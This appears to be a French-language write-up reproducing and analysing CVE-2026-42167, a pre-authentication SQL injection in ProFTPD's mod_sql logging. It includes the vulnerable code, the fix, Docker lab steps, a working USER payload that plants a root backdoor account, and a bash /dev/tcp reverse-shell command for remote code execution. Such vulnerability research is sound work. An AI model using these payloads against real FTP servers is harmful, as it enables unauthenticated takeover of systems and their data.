
Reproduction indépendante, analyse de cause racine au niveau du code et rapport d'exposition réaliste pour CVE-2026-42167 (contournement de is_escaped_text() dans mod_sql de ProFTPD).
mod_sqlReproduction indépendante, analyse détaillée de la cause racine au niveau du code, et analyse franche de l'exposition pour CVE-2026-42167 — le contournement de is_escaped_text() dans le pipeline de journalisation mod_sql de ProFTPD, divulgué par ZeroPath Research et corrigé dans ProFTPD 1.3.9a / 1.3.10rc1.
Construit et vérifié de bout en bout dans Docker sur macOS / Apple Silicon, le 2026-04-29.
TL;DR — voir Conclusion pour une image réaliste de l'exposition avant de décider à quel point s'inquiéter. Ce n'est pas un bug d'installation par défaut, mais le modèle de citation dangereux est le modèle que la documentation officielle vous dit d'utiliser, donc une grande partie des déploiements
mod_sqlen héritent.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (Injection SQL), CWE-78 (Injection de commandes OS — via PG COPY TO PROGRAM) |
| Affecté | ProFTPD ≤ 1.3.9 avec mod_sql + SQLLog/SQLNamedQuery dont la chaîne de format interpole une variable contrôlée par l'attaquant entre guillemets simples |
| Corrigé dans | 1.3.9a (af90843ba…) / 1.3.10rc1, voir le commit e6f728481 ("Issue #2052") |
| Commit vulnérable épinglé | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| Fichier vulnérable | contrib/mod_sql.c lignes 741–758 (is_escaped_text) et ligne 777 (sql_resolved_append_text) |
| Divulgation originale | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| PoC public | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| Notes de version | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
is_escaped_text() dans contrib/mod_sql.cmod_sql résout les variables de format de journalisation (%U, %{basename}, etc.) et
ajoute chaque élément dans le SQL rendu via sql_resolved_append_text().
Pour préserver la compatibilité ascendante avec les configurations admin qui enveloppent déjà
les variables dans '…', la fonction appelle is_escaped_text() pour décider
si sql_escapestring est nécessaire :```c
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != ''') return FALSE;
745 if (text[text_len-1] != ''') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == ''') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… / …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
Le contrôle est purement structurel — il ne peut pas distinguer *« déjà échappé par
un code de confiance »* de *« conçu par un attaquant pour sembler déjà échappé ».*
Toute valeur fournie par le client correspondant à `'<no-internal-quotes>'` contourne
`sql_escapestring` et est concaténée brute dans la requête finale.
La configuration standard et documentée encapsule `%U` / `%{basename}` / `%m` entre guillemets simples :```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
Quand l'attaquant envoie USER '<payload>' (guillemet ouvrant et fermant, sans
guillemets internes), le résolveur substitue %U sans échappement, produisant
''<payload>'' dans le SQL — les littéraux de chaîne vides ferment les
guillemets environnants et <payload> s'exécute comme SQL brut. Avec PostgreSQL
(PQexec) et SQLite (sqlite3_exec), les requêtes empilées sont prises en charge, donc
<payload> peut être n'importe quelle séquence d'instructions.
Comme SQLLog ERR_* se déclenche sur les connexions échouées et que %U est défini à partir de
USER avant l'authentification, l'attaque est entièrement non authentifiée.
e6f728481, "Issue #2052")sql_resolved_append_text() gagne un paramètre already_escaped. Les appelants
qui résolvent des valeurs provenant de l'entrée client passent FALSE et passent désormais par
sql_escapestring sans condition — l'heuristique is_escaped_text() est
toujours appliquée pour le chemin légitime « la config contient une valeur pré-échappée » mais
ne s'applique plus aux données contrôlées par l'attaquant.
+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+
- Les deux conteneurs se lancent via `setup/docker-compose.yml`.
- `setup/proftpd.conf` active la configuration de journalisation vulnérable (voir §1).
- `setup/seed.sql` crée `users`, `groups`, `activity_log`, `xfer_log`,
et `secrets`, ainsi qu'un unique utilisateur FTP légitime `ftpuser / ftppass`.
---
## 3. Reproduction — copier-coller
Prérequis : Docker Desktop, Python 3.10+, git. (`uv` est facultatif ; les
PoC n'utilisent que la bibliothèque standard.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
Les deux variantes interactives du dépôt en amont
(preauth_user_rce.py, postauth_stor_rce.py) sont non modifiées et ouvrent
un reverse shell basé sur un PTY. Elles utilisent la même primitive que la
variante marqueur — il suffit de remplacer la commande shell par bash -i >& /dev/tcp/<host>/<port> 0>&1 et d'écouter sur <port> au préalable.
USER, %U)```USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x
Pourquoi cela fonctionne :